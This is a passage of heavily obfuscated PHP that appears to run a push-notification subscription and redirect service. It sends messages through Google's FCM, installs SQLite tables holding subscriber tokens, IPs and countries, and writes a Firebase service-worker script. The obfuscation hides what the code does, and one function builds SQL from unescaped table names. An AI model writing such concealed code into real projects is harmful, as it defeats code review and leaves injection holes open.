deviceVAL($mobileVAL='',$desktopVAL='',$tabletVAL='',$ipadVAL=''){if(is_desktop()){return${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67\x63uh\x6f\x72\x72s\x62"]};}else if(is_tablet()){$cfqnxn="\x74a\x62\x6c\x65\x74V\x41L";return${$cfqnxn};}else if(is_ipad()){${"\x47\x4cO\x42A\x4c\x53"}["\x73\x6d\x69\x74i\x6c\x62bt\x6b"]="\x74a\x62l\x65\x74\x56\x41L";return${${"\x47\x4cOBA\x4cS"}["j\x6f\x66\x6cs\x6e\x68\x70\x65"]}!=null?${${"GL\x4f\x42\x41\x4cS"}["j\x6ff\x6c\x73\x6e\x68\x70\x65"]}:${${"\x47L\x4fBA\x4cS"}["\x73\x6d\x69\x74\x69\x6c\x62\x62\x74\x6b"]};}else if(is_mobile()){return${${"G\x4c\x4fB\x41\x4c\x53"}["\x6e\x77\x68\x75h\x66wg"]};}}function errorIsset($array){foreach(${${"\x47\x4c\x4fB\x41\x4cS"}["\x6c\x72\x63a\x67di\x65\x61\x71\x64"]} as${${"\x47\x4c\x4fBA\x4c\x53"}["\x72\x63\x6d\x78\x69r\x76pd"]}){if(!is_null(${${"\x47\x4c\x4fBALS"}["\x72c\x6dx\x69\x72\x76\x70d"]})){return true;}}return false;}function getParams($url,$array=null){${${"\x47L\x4fBA\x4cS"}["p\x65\x6b\x76m\x66\x61\x6d\x63\x66q"]}=$_GET;if(array_key_exists("\x70a\x67e",${${"\x47LOBAL\x53"}["\x70\x65\x6bv\x6d\x66\x61\x6d\x63fq"]})){unset(${${"\x47\x4c\x4f\x42A\x4c\x53"}["pe\x6bvmf\x61m\x63\x66q"]}["p\x61g\x65"]);}${"\x47\x4c\x4fBA\x4c\x53"}["\x6an\x70xl\x6e\x6dsg"]="p\x61\x72am\x73";$tlvbwvr="\x75\x72\x6c";${"G\x4c\x4f\x42\x41\x4c\x53"}["dc\x67\x70\x6ba"]="\x70\x61\x72am\x73";if(array_key_exists("\x72\x6fut\x65",${${"\x47L\x4f\x42\x41\x4c\x53"}["\x64c\x67\x70k\x61"]})){${"G\x4c\x4f\x42\x41\x4c\x53"}["wx\x6ai\x75\x78\x63\x71\x6e\x68"]="\x70\x61\x72a\x6ds";unset(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x78\x6a\x69u\x78\x63q\x6e\x68"]}["\x72o\x75t\x65"]);}if(array_key_exists("r\x6e\x64",${${"\x47\x4cO\x42\x41L\x53"}["\x70\x65\x6bv\x6df\x61m\x63\x66q"]})){${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6ec\x74\x72\x74\x6ctr\x7a\x63"]="param\x73";unset(${${"\x47L\x4f\x42\x41LS"}["n\x63\x74\x72\x74\x6c\x74r\x7a\x63"]}["\x72nd"]);}if(!empty(${${"\x47\x4cOBAL\x53"}["lr\x63a\x67di\x65\x61\x71d"]})){${"\x47L\x4fB\x41\x4cS"}["w\x71t\x78\x79\x6b"]="\x70\x61\x72am\x73";${"GLO\x42\x41LS"}["q\x6b\x63\x63\x6ew\x77v\x78"]="ar\x72\x61\x79";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x70\x65k\x76\x6d\x66\x61\x6d\x63f\x71"]}=array_merge(${${"\x47\x4cO\x42AL\x53"}["wqtx\x79k"]},${${"\x47\x4cOB\x41LS"}["\x71kccnw\x77v\x78"]});}return${$tlvbwvr}.((!empty(${${"G\x4cO\x42\x41\x4c\x53"}["j\x6epxl\x6e\x6d\x73\x67"]}))?"?".http_build_query(${${"\x47\x4cOB\x41\x4c\x53"}["\x70\x65k\x76mf\x61m\x63f\x71"]}):null);}function selectList($object_id,$object_name,$name){${"\x47\x4c\x4fBA\x4c\x53"}["\x68\x77\x6b\x79qt\x73i\x68"]="\x72\x6f\x77s";$qqykycryz="\x73e\x6cec\x74";${"\x47\x4c\x4fBA\x4c\x53"}["\x74\x78\x77b\x73\x70m"]="nu\x6db\x65\x72";$hgocqfp="\x6ea\x6d\x65";${"\x47LO\x42A\x4c\x53"}["eteg\x6b\x64k\x6b\x70"]="\x72o\x77\x73";$kpkntbiljxth="\x6f\x62j\x65\x63\x74\x5f\x6e\x61\x6de";${"\x47LO\x42AL\x53"}["\x64r\x6b\x65ix\x76\x70\x6ad"]="s\x71\x6c";$ilmdvtxvptw="\x6f\x62\x6a\x65\x63\x74\x5f\x6e\x61\x6d\x65";${"\x47\x4c\x4fBA\x4c\x53"}["\x70\x6fxk\x62\x78"]="o\x62j\x65\x63t_\x6e\x61\x6d\x65";$joshxherdh="res\x75l\x74";$meqioi="\x72\x65s\x75\x6ct";${${"\x47\x4c\x4f\x42A\x4c\x53"}["c\x71\x6a\x64\x70p\x75\x6bmo\x78"]}="\n\t\t\t\x53\x45\x4cE\x43T\n\t\t\t\t\x60".${$kpkntbiljxth}."\x5fid\x60,\n\t\t\t\t`".${${"G\x4cOB\x41\x4c\x53"}["po\x78\x6b\x62x"]}."\x5fna\x6d\x65`\n\t\t\tF\x52\x4f\x4d\n\t\t\t\t`".${$ilmdvtxvptw}."`\n\t\t";${"\x47L\x4f\x42AL\x53"}["\x69\x78s\x75\x63\x62x"]="\x6e\x75m\x62\x65\x72";${$joshxherdh}=sqlQuery(${${"GL\x4f\x42A\x4c\x53"}["\x64\x72\x6b\x65\x69\x78\x76pjd"]});${${"\x47\x4c\x4f\x42ALS"}["\x65\x74\x65g\x6b\x64k\x6bp"]}=sqlFetch(${$meqioi});${${"\x47L\x4f\x42AL\x53"}["\x69x\x73uc\x62\x78"]}=sqlNumber(${${"\x47\x4c\x4f\x42A\x4cS"}["\x68w\x6b\x79\x71tsi\x68"]});${$qqykycryz}[]="<\x6f\x70\x74\x69o\x6e val\x75\x65\x3d\x22\x30\"> \x3c/optio\x6e\x3e";if(${${"\x47\x4cO\x42\x41LS"}["tx\x77\x62\x73p\x6d"]}>0){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79\x74\x70\x74\x68\x72\x64b\x65w"]="\x72\x6f\x77";${"G\x4cO\x42A\x4c\x53"}["w\x6eh\x68\x62\x67gp\x67\x74"]="\x72o\x77\x73";foreach(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77\x6e\x68h\x62\x67g\x70\x67\x74"]} as${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79tp\x74h\x72\x64\x62e\x77"]}){$hsifpmly="ro\x77";${"\x47\x4cO\x42\x41\x4cS"}["\x6d\x6bu\x71j\x77\x69\x63\x74\x79"]="\x72\x6f\x77";${${"GL\x4f\x42A\x4cS"}["\x63r\x6exo\x70\x77"]}[]="<\x6f\x70\x74\x69o\x6e\x20\x76\x61l\x75\x65=\x22".${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6d\x6buqj\x77ic\x74\x79"]}[0]."\" ".(${$hsifpmly}[0]==${${"\x47\x4cOBALS"}["dczdt\x6cs"]}?"\x73e\x6cec\x74\x65\x64":null)."\x3e".${${"G\x4c\x4f\x42\x41L\x53"}["\x78\x74\x67c\x7a\x74\x6a\x6a\x6b"]}[1]."\x3c/opti\x6fn\x3e";}}return"<sel\x65ct\x20\x6e\x61\x6de=\"".${$hgocqfp}."\x22\x20cla\x73\x73\x3d\"f\x6f\x72\x6d-contr\x6fl\">".implode(${${"\x47\x4c\x4fB\x41\x4cS"}["\x63r\x6e\x78\x6f\x70w"]})."</sel\x65\x63\x74\x3e";}function getRedirectAlias(){${"\x47LOB\x41\x4cS"}["x\x76t\x70fx\x65\x6b\x77\x71\x74"]="\x69d";$ejbkhbv="\x73q\x6c";$vdmyhgo="\x72\x6f\x77s";$kiswlreyt="\x69d";$gluzomw="re\x73\x75\x6ct";${${"G\x4c\x4f\x42\x41\x4c\x53"}["x\x76\x74\x70\x66\x78\x65\x6b\x77qt"]}=uniqid();${$ejbkhbv}="\n\t\t\t\x53EL\x45C\x54\n\t\t\t\t\x43O\x55\x4eT(*)\n\t\t\t\x46ROM\n\t\t\t\t`red\x69rec\x74`\n\t\t\t\x57\x48\x45R\x45\n\t\t\t\t`ali\x61s\x60 = ".sqlEscape(${$kiswlreyt})."\n\t\t\tL\x49MIT \x31\x3b\n\t\t";${${"\x47\x4cO\x42A\x4c\x53"}["l\x65d\x69\x68\x7ad\x6f"]}=sqlQuery(${${"G\x4cO\x42A\x4cS"}["\x63q\x6ad\x70p\x75kmo\x78"]});${$vdmyhgo}=sqlFetch(${$gluzomw});if(!empty(${${"GLO\x42AL\x53"}["\x77m\x66\x63r\x77\x77eah"]}[0][0])){return getRedirectAlias();}return${${"GL\x4f\x42\x41\x4cS"}["h\x78\x73\x67\x72u\x79\x76f\x66"]};}function extractDomain($Host,$Level=2,$IgnoreWWW=false){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70t\x68s\x66\x70j"]="Pa\x72t\x73";$hstvmtl="P\x61\x72ts";$kbibsaixqzn="\x4c\x65v\x65l";${${"\x47\x4c\x4fBA\x4c\x53"}["\x70\x74h\x73f\x70j"]}=explode(".",$Host);$nodetlrxrqcc="\x50\x61\x72\x74s";if(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72j\x62\x71\x6c\x6c\x65wr\x75x"]} and${${"\x47\x4cOB\x41\x4c\x53"}["\x77\x62qt\x6f\x76\x6c\x73\x64\x6e\x69"]}[0]=="w\x77\x77")unset(${$hstvmtl}[0]);${"G\x4c\x4fB\x41L\x53"}["\x77sho\x68u\x67\x61"]="Pa\x72\x74s";${${"GL\x4fB\x41L\x53"}["\x77\x73\x68o\x68\x75g\x61"]}=array_slice(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77bq\x74\x6f\x76\x6cs\x64\x6e\x69"]},-${$kbibsaixqzn});return implode("\x2e",${$nodetlrxrqcc});}function friendlyURL($alias,$domain){global$_config;${"\x47L\x4f\x42\x41\x4c\x53"}["ss\x75\x71n\x6b\x77\x70\x6e"]="do\x6da\x69\x6e";${"\x47\x4cO\x42\x41\x4cS"}["\x61knf\x69\x68e\x61\x68"]="ali\x61\x73";${${"G\x4c\x4f\x42\x41LS"}["s\x67\x71\x76\x69\x6d\x68r\x6fw\x68\x74"]}="\x68\x74tps://".${${"G\x4c\x4fB\x41LS"}["\x73\x73\x75\x71nk\x77pn"]};return${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72nsiu\x6f"]}["frie\x6e\x64l\x79_u\x72l"]?${${"GL\x4f\x42\x41L\x53"}["\x73\x67\x71vi\x6dhr\x6fwht"]}."/".${${"\x47L\x4fB\x41\x4c\x53"}["\x61\x6b\x6e\x66\x69\x68\x65\x61\x68"]}:${${"\x47\x4cO\x42\x41\x4c\x53"}["\x73\x67\x71\x76\x69\x6d\x68\x72o\x77\x68\x74"]}.${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x6e\x73i\x75\x6f"]}["se\x6c\x66"]."?".${${"G\x4c\x4f\x42\x41L\x53"}["r\x6e\x73\x69\x75\x6f"]}["\x76\x61\x72"]."\x3d".${${"G\x4cO\x42A\x4c\x53"}["\x6fa\x74\x63hb\x77\x75\x65\x65\x6b"]};}function sendPushMessage($message,$tokens){$suvokpkz="\x74\x6f\x6ben";global$_config;foreach(${${"\x47\x4c\x4f\x42ALS"}["\x63um\x73\x75\x68\x67"]} as${$suvokpkz}){${"\x47\x4cOB\x41LS"}["\x71\x65\x6ckck\x6a\x62d\x76"]="messa\x67\x65";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79w\x6d\x6db\x79m"]="\x63\x68";${"\x47LO\x42\x41L\x53"}["\x6ew\x78\x67\x73\x6f\x65"]="\x6d\x65\x73s\x61\x67\x65";$sekoovqqb="\x63\x68";$vzhgpqw="\x63h";$brkvdlsxr="\x63\x68";${${"\x47L\x4f\x42\x41L\x53"}["\x61\x64\x72\x70\x64v\x78s\x67"]}=array("\x64a\x74a"=>array("\x74i\x74\x6c\x65"=>${${"G\x4c\x4fB\x41\x4c\x53"}["e\x62wdr\x7a\x68\x65i"]}["\x74\x69tle"],"bod\x79"=>${${"G\x4c\x4f\x42\x41\x4c\x53"}["n\x77x\x67\x73\x6f\x65"]}["\x62od\x79"],"\x69c\x6f\x6e"=>${${"\x47LO\x42\x41L\x53"}["\x65\x62wdr\x7a\x68\x65\x69"]}["ico\x6e"],"i\x6d\x61ge"=>${${"G\x4c\x4f\x42\x41L\x53"}["\x65\x62wd\x72\x7a\x68\x65\x69"]}["\x69mage"],"c\x6c\x69\x63k_\x61\x63\x74i\x6f\x6e"=>${${"GL\x4f\x42\x41\x4c\x53"}["\x71\x65l\x6b\x63\x6b\x6abd\x76"]}["\x75\x72l"],),"\x72\x65gi\x73t\x72\x61t\x69\x6f\x6e\x5fi\x64\x73"=>${${"G\x4cO\x42\x41LS"}["mb\x65\x62\x79\x77\x6d\x67\x69\x6a"]});${${"\x47L\x4f\x42\x41\x4cS"}["v\x6e\x68u\x69p\x6bc\x75\x6e"]}=["\x43\x6fn\x74\x65n\x74-\x54yp\x65:\x20\x61\x70\x70\x6ci\x63atio\x6e/j\x73\x6fn","\x41u\x74\x68o\x72\x69\x7aat\x69\x6fn: \x6b\x65\x79\x3d".${${"\x47L\x4f\x42\x41\x4cS"}["\x72\x6e\x73i\x75o"]}["\x66\x63\x6d_s\x65\x72v\x65\x72_ke\x79"],];${${"\x47LO\x42\x41L\x53"}["n\x69\x79\x72\x65\x61b"]}=curl_init();curl_setopt(${${"\x47\x4c\x4f\x42ALS"}["\x6e\x69\x79r\x65\x61\x62"]},CURLOPT_URL,"\x68\x74tp\x73://\x66c\x6d\x2e\x67oo\x67\x6c\x65\x61pis\x2e\x63o\x6d/\x66\x63\x6d/\x73e\x6e\x64");curl_setopt(${$vzhgpqw},CURLOPT_CUSTOMREQUEST,"\x50\x4fST");curl_setopt(${$brkvdlsxr},CURLOPT_HTTPHEADER,${${"G\x4c\x4fB\x41\x4cS"}["\x76\x6e\x68u\x69p\x6b\x63un"]});curl_setopt(${${"G\x4cOBA\x4c\x53"}["\x6e\x69y\x72\x65a\x62"]},CURLOPT_POSTFIELDS,json_encode(${${"\x47\x4c\x4f\x42AL\x53"}["adr\x70\x64v\x78\x73\x67"]}));curl_setopt(${$sekoovqqb},CURLOPT_RETURNTRANSFER,true);curl_setopt(${${"\x47\x4c\x4fB\x41LS"}["\x6ei\x79\x72e\x61b"]},CURLOPT_FOLLOWLOCATION,true);${${"\x47LO\x42A\x4c\x53"}["\x63g\x63v\x6d\x68g\x62w"]}=curl_exec(${${"G\x4c\x4fBA\x4cS"}["\x79\x77mm\x62y\x6d"]});curl_close(${${"GL\x4f\x42AL\x53"}["ni\x79re\x61\x62"]});return${${"\x47\x4cO\x42\x41\x4c\x53"}["\x63g\x63v\x6d\x68\x67\x62w"]};}}function makeImagePath($ext){${"\x47\x4c\x4fBA\x4c\x53"}["\x72x\x6b\x75\x7a\x77e\x6d\x63"]="p\x61\x74\x68";${"\x47\x4c\x4f\x42AL\x53"}["\x77\x64\x79\x74\x6a\x6b\x6c\x6b\x6cv"]="\x6d\x64\x35";$jitidnuodjz="\x70\x61th";${"G\x4cOB\x41\x4cS"}["s\x69\x66\x75\x69\x67\x79\x67l"]="\x5f\x63\x6f\x6ef\x69\x67";$xjvzuic="p\x61\x74\x68";$ypmjhtabwuhk="\x6e\x61\x6de";$rjbiukdcir="\x6d\x645";global$_config;$foivlepp="\x70\x61\x74\x68";${$rjbiukdcir}=md5(microtime());${${"\x47\x4c\x4fB\x41LS"}["rx\x6b\x75\x7aw\x65\x6d\x63"]}=substr(${${"\x47\x4c\x4fBA\x4cS"}["s\x78\x6bw\x74\x71vxn\x6e"]},0,6);${${"\x47L\x4f\x42ALS"}["\x6f\x77\x77\x72\x68\x6ci\x6b"]}=chunk_split(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6f\x77\x77\x72\x68\x6c\x69\x6b"]},2,"/");${${"\x47\x4cO\x42ALS"}["\x70\x68nw\x6e\x66\x67op\x67"]}=substr(${${"\x47\x4c\x4f\x42\x41L\x53"}["w\x64\x79\x74\x6a\x6bl\x6b\x6c\x76"]},7,6).".".${${"GL\x4f\x42\x41\x4cS"}["h\x78\x6cx\x75x\x74"]};if(file_exists(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x73\x69f\x75\x69\x67y\x67l"]}["roo\x74"]."/u\x70load/".${$xjvzuic}.${$ypmjhtabwuhk})){$vnkfqukmpw="e\x78\x74";return makeImagePath(${$vnkfqukmpw});}if(!is_dir(${${"G\x4c\x4f\x42\x41\x4c\x53"}["rn\x73\x69\x75\x6f"]}["ro\x6f\x74"]."/u\x70loa\x64/".${$foivlepp})){$xmgmetulctim="pa\x74\x68";@mkdir(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x6e\x73iu\x6f"]}["\x72\x6f\x6ft"]."/\x75p\x6c\x6fa\x64/".${$xmgmetulctim},0755,true);}return${$jitidnuodjz}.${${"G\x4c\x4fB\x41\x4c\x53"}["\x70\x68\x6e\x77\x6e\x66\x67o\x70\x67"]};}function getMimeType($link){$jwuurbf="f\x69\x6e\x66\x6f";${"G\x4c\x4f\x42ALS"}["\x6d\x69\x74\x79\x79fx\x66k\x73"]="\x6c\x69\x6e\x6b";${$jwuurbf}=finfo_open(FILEINFO_MIME_TYPE);${"GL\x4f\x42\x41LS"}["\x6d\x61\x71\x6f\x68twfpm\x66"]="mi\x6d\x65";$mnxlpzsri="\x66i\x6efo";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6d\x61q\x6f\x68\x74w\x66\x70\x6d\x66"]}=finfo_file(${${"\x47\x4c\x4f\x42A\x4c\x53"}["l\x79\x73\x6c\x73k\x73\x72"]},${${"\x47LO\x42A\x4c\x53"}["\x6d\x69\x74y\x79\x66\x78f\x6bs"]});finfo_close(${$mnxlpzsri});return${${"\x47\x4cO\x42\x41\x4cS"}["\x71\x67ugi\x68\x69nm"]};}${"\x47L\x4f\x42\x41\x4c\x53"}["\x77\x72rd\x6e\x6dl"]="\x5fco\x6e\x66i\x67";function tplLoad($name){$qiiltvmdcpr="_\x74p\x6c";$kywjrkk="\x6e\x61m\x65";${"GL\x4f\x42\x41L\x53"}["g\x69q\x64f\x76\x77\x69lq"]="\x5f\x74\x70\x6c";global$_tpl;return isset(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x67\x69\x71\x64f\x76\x77i\x6cq"]}[${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x70hnwnf\x67o\x70g"]}])?${$qiiltvmdcpr}[${$kywjrkk}]:null;}function tplReplace($array,$html,$prefix=null){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6em\x72\x68\x70y\x6an\x69\x76e"]="\x76";$aujfsphvd="ar\x72\x61y";${"\x47\x4c\x4f\x42\x41L\x53"}["fj\x6f\x71j\x78"]="\x68t\x6d\x6c";foreach(${$aujfsphvd} as${${"\x47L\x4fBA\x4cS"}["\x62s\x64u\x6e\x68"]}=>${${"\x47L\x4f\x42\x41LS"}["nmrhp\x79\x6a\x6e\x69\x76e"]}){$rijvjfbvgjot="p\x72\x65\x66\x69\x78";${"GL\x4f\x42\x41\x4c\x53"}["qi\x78\x66b\x64r\x73\x77"]="v";${"GL\x4fB\x41L\x53"}["w\x74\x67t\x67\x6a\x75\x69\x66\x6eik"]="\x6b";${"GL\x4f\x42\x41\x4c\x53"}["\x64\x69\x65rdj\x6dn\x76\x71"]="\x70r\x65f\x69\x78";${"G\x4cO\x42A\x4c\x53"}["\x72g\x68i\x6at\x68d\x64"]="\x6b";${${"\x47\x4c\x4fBA\x4c\x53"}["r\x67\x68\x69\x6at\x68d\x64"]}=!is_null(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x68\x79p\x76\x67x"]})?${$rijvjfbvgjot}."\x5f".${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77\x74\x67\x74g\x6a\x75\x69\x66n\x69k"]}:${${"\x47\x4c\x4fBA\x4cS"}["\x62s\x64u\x6e\x68"]};${${"\x47\x4c\x4fBA\x4cS"}["r\x63\x6dx\x69\x72\x76\x70d"]}=${${"\x47\x4c\x4f\x42A\x4c\x53"}["d\x69\x65\x72d\x6a\x6d\x6e\x76\x71"]}=="error"?"\x3c\x73\x70a\x6e c\x6ca\x73s=\x22\x74e\x78\x74-\x64\x61\x6e\x67e\x72\x22\x3e".${${"\x47\x4cOB\x41\x4cS"}["\x71\x69xf\x62\x64r\x73\x77"]}."\x3c/\x73\x70\x61n\x3e":${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x72\x63\x6d\x78\x69r\x76pd"]};${${"\x47LO\x42\x41\x4c\x53"}["f\x69\x68\x61f\x6dp\x6ev"]}=str_replace("{{".${${"GL\x4fBA\x4c\x53"}["\x62\x73\x64\x75\x6e\x68"]}."}}",${${"\x47\x4cOB\x41L\x53"}["r\x63m\x78i\x72\x76p\x64"]},${${"G\x4c\x4fB\x41\x4c\x53"}["f\x69\x68\x61fm\x70\x6e\x76"]});}return${${"G\x4c\x4fB\x41L\x53"}["fj\x6f\x71\x6a\x78"]};}function sqlConnect(){global$_config,$_db;try{$zpqqqlpop="\x5fc\x6f\x6e\x66\x69g";${${"G\x4c\x4fB\x41\x4c\x53"}["\x79\x68\x65j\x7ar\x73q\x6b\x6a"]}=new PDO("s\x71l\x69te:".${${"G\x4c\x4fB\x41\x4c\x53"}["\x72\x6e\x73\x69\x75\x6f"]}["\x72\x6fo\x74"]."/".${$zpqqqlpop}["db\x6e\x61\x6d\x65"]."\x2es\x71l\x69t\x65\x33");$_db->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);}catch(PDOException$e){return sqlError(${${"\x47L\x4fB\x41L\x53"}["\x6af\x77\x6e\x78\x7a\x78"]});}}function sqlQuery($sql){global$_db;if(is_null(${${"\x47\x4c\x4f\x42\x41LS"}["\x79h\x65j\x7a\x72s\x71\x6b\x6a"]})){sqlConnect();}try{${"\x47\x4c\x4f\x42\x41LS"}["\x66\x61\x69ik\x62m"]="re\x73u\x6ct";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x65\x64ih\x7a\x64o"]}=$_db->prepare(${${"G\x4c\x4f\x42\x41L\x53"}["\x63\x71\x6a\x64\x70p\x75k\x6d\x6fx"]});$result->execute();return${${"G\x4c\x4f\x42A\x4cS"}["\x66a\x69\x69k\x62m"]};}catch(PDOException$e){return sqlError(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6a\x66\x77nxz\x78"]});}}function sqlFetch($result){return$result->fetchAll();}function sqlError($e){die($e->getMessage());}function sqlNumber($result){return count(${${"\x47\x4cOBA\x4c\x53"}["\x6c\x65di\x68\x7a\x64o"]});}function sqlEscape($string){global$_db;if(is_null(${${"\x47\x4cOB\x41\x4c\x53"}["\x79\x68\x65j\x7ar\x73\x71\x6b\x6a"]})){sqlConnect();}return$_db->quote(${${"\x47\x4c\x4f\x42A\x4cS"}["\x77\x77pp\x7azs\x68\x64\x76"]});}function sqlInsertId(){global$_db;return$_db->lastInsertId();}if(!file_exists(${${"\x47L\x4fB\x41L\x53"}["w\x72\x72\x64\x6e\x6d\x6c"]}["\x72o\x6ft"]."/".${$frdzsd}["d\x62name"].".\x73qlit\x653")){if(isset($_POST["install"])){$zkhmiqgthjt="\x73\x77";sqlQuery("\x43\x52\x45A\x54E TABLE\x20`\x73\x65gmen\x74`\x20(`segm\x65\x6e\x74\x5f\x69d` INT\x45G\x45\x52 \x50\x52IMA\x52\x59 \x4b\x45\x59 \x41\x55T\x4fIN\x43RE\x4dE\x4e\x54,\x20`se\x67men\x74\x5f\x6ea\x6de`\x20VA\x52C\x48AR(255))\x3b");sqlQuery("\x43RE\x41\x54E\x20\x54\x41BL\x45\x20\x60r\x65\x64i\x72ec\x74`\x20(\x60\x72edire\x63\x74\x5fid`\x20\x49\x4eTEGE\x52\x20P\x52\x49MA\x52Y \x4bE\x59 AU\x54OI\x4e\x43REME\x4e\x54, `\x73e\x67men\x74\x5f\x69\x64`\x20I\x4eTE\x47\x45R, `u\x72\x6c\x60 \x54E\x58\x54,\x20`\x61l\x69a\x73\x60 VAR\x43\x48\x41\x52(\x32\x355));");sqlQuery("\x43\x52EAT\x45\x20\x54\x41\x42L\x45\x20\x60\x64\x65v\x69c\x65\x60 (`\x64ev\x69\x63\x65_id` \x49NT\x45\x47\x45R \x50RIM\x41RY K\x45Y AUT\x4fI\x4eCREME\x4eT,\x20`\x64ev\x69c\x65_na\x6de`\x20V\x41RC\x48A\x52(\x32\x30));");${"\x47\x4cOB\x41\x4c\x53"}["i\x71\x69sp\x76\x65s\x79"]="_\x63\x6f\x6ef\x69\x67";sqlQuery("I\x4eSE\x52\x54 IN\x54O \x60de\x76i\x63\x65\x60 (`\x64\x65vic\x65_n\x61\x6de\x60)\x20\x56ALU\x45S\x20(\x22\x4d\x6f\x62il\x65\x22),(\"T\x61b\x6cet\"),(\"\x44esk\x74op\");");sqlQuery("CREA\x54\x45\x20TAB\x4c\x45\x20\x60su\x62sc\x72i\x62e` (\x60sub\x73cr\x69be_i\x64\x60\x20\x49NT\x45\x47ER\x20\x50RI\x4d\x41RY KEY\x20\x41\x55\x54OINCREMENT,\x20\x60\x72\x65di\x72\x65\x63\x74\x5fid\x60\x20\x49N\x54EGE\x52, \x60segm\x65nt_\x69\x64\x60 I\x4e\x54\x45GER, \x60\x74\x6f\x6b\x65n` VAR\x43HA\x52(2\x35\x35), `ip\x60 V\x41R\x43HA\x52(15),\x20`c\x6funtry` \x56AR\x43\x48AR(\x33),\x20\x60\x64\x65vi\x63\x65_\x69d\x60 T\x49NYINT,\x20\x60\x63re\x61ted`\x20\x49\x4e\x54\x45GER);");sqlQuery("\x43R\x45\x41T\x45\x20\x54ABL\x45 \x60\x6d\x65ss\x61ge\x60 (\x60me\x73s\x61\x67\x65_\x69\x64`\x20\x49\x4e\x54EGER\x20PRI\x4dA\x52Y\x20KEY AUTOINCREME\x4eT,\x20`\x6d\x65\x73\x73a\x67\x65\x5fn\x61\x6d\x65\x60\x20\x56\x41\x52CH\x41R(5\x30), \x60\x74\x69\x74le\x60 VAR\x43\x48\x41R(\x32\x355), `\x62\x6f\x64\x79\x60\x20\x56A\x52C\x48AR(\x32\x35\x35),\x20\x60\x69con` V\x41R\x43H\x41R(\x32\x35\x35), `i\x6d\x61g\x65` V\x41\x52\x43HA\x52(\x32\x355), \x60\x75r\x6c\x60 VAR\x43\x48\x41\x52(\x35\x30\x30))\x3b");@file_put_contents("\x2e/m\x61n\x69\x66\x65\x73t\x2e\x6aso\x6e",json_encode(array("\x67\x63\x6d_\x73\x65n\x64\x65r\x5fi\x64"=>${${"\x47LOB\x41\x4c\x53"}["i\x71\x69\x73p\x76\x65\x73\x79"]}["\x66\x63m\x5f\x73\x65n\x64\x65r\x5f\x69\x64"])));${$zkhmiqgthjt}="\ti\x6d\x70\x6fr\x74Sc\x72\x69\x70\x74s('\x68\x74\x74p\x73://www\x2eg\x73\x74a\x74\x69c\x2ec\x6fm/fi\x72\x65\x62\x61se\x6a\x73/\x35\x2e\x32\x2e0/fi\x72\x65\x62a\x73\x65-\x61pp.\x6as\x27);\n\t\x69mp\x6f\x72\x74\x53\x63ripts(\x27h\x74\x74ps://www.gst\x61ti\x63\x2eco\x6d/\x66\x69\x72eb\x61se\x6as/5\x2e\x32.\x30/\x66\x69\x72\x65ba\x73e-\x6de\x73s\x61gi\x6eg\x2e\x6a\x73');\n\n\tvar con\x66i\x67 \x3d\x20{\n\t\tme\x73s\x61g\x69\x6e\x67Sen\x64\x65\x72\x49\x64: \"{{\x66cm_s\x65\x6e\x64\x65r\x5fid}}\"\n\t};\n\n\tf\x69\x72eb\x61se\x2ei\x6eit\x69al\x69\x7a\x65\x41\x70p(con\x66\x69g);\n\n\ts\x65\x6cf\x2e\x61\x64d\x45\x76\x65ntLi\x73t\x65ner(\x27\x6eo\x74\x69f\x69cati\x6fnc\x6c\x69\x63k', e \x3d>\x20{\n\t\tlet\x20foun\x64\x20= \x66\x61l\x73e;\n\t\t\x6cet\x20f \x3d cl\x69e\x6e\x74s\x2emat\x63\x68\x41l\x6c({\n\t\t\t\x69ncl\x75\x64\x65\x55\x6e\x63o\x6e\x74\x72\x6f\x6c\x6c\x65d:\x20\x74rue,\n\t\t\t\x74y\x70\x65: '\x77\x69n\x64ow'\n\t\t})\n\t\t.\x74he\x6e(\x66unct\x69\x6f\x6e\x20(c\x6ci\x65\x6e\x74L\x69\x73\x74)\x20{\n\t\t\tfor\x20(l\x65t\x20i\x20=\x20\x30;\x20\x69 < \x63\x6c\x69\x65n\x74\x4c\x69\x73\x74\x2el\x65ngt\x68\x3b\x20\x69\x20++) {\n\t\t\t\t\x69\x66\x20(c\x6c\x69\x65n\x74L\x69st[i].\x75rl\x20\x3d=\x3d e\x2en\x6ftif\x69\x63\x61\x74\x69o\x6e\x2e\x64at\x61\x2e\x63\x6cick\x5f\x61c\x74\x69on)\x20{\n\t\t\t\t\tf\x6f\x75\x6ed = tr\x75e;\n\t\t\t\t\t\x63\x6c\x69\x65\x6e\x74\x4ci\x73t[\x69]\x2efoc\x75s()\x3b\n\t\t\t\t\tb\x72\x65\x61k;\n\t\t\t\t}\n\t\t\t}\n\t\t\ti\x66\x20(! f\x6f\x75n\x64) {\n\t\t\t\tc\x6c\x69\x65\x6e\x74\x73.\x6f\x70en\x57i\x6ed\x6f\x77(\x65\x2e\x6e\x6ft\x69f\x69ca\x74io\x6e.\x64\x61\x74a\x2e\x63l\x69c\x6b\x5fac\x74\x69on).\x74\x68\x65n(\x66u\x6e\x63\x74\x69\x6fn (\x77\x69\x6ed\x6f\x77C\x6c\x69\x65n\x74) 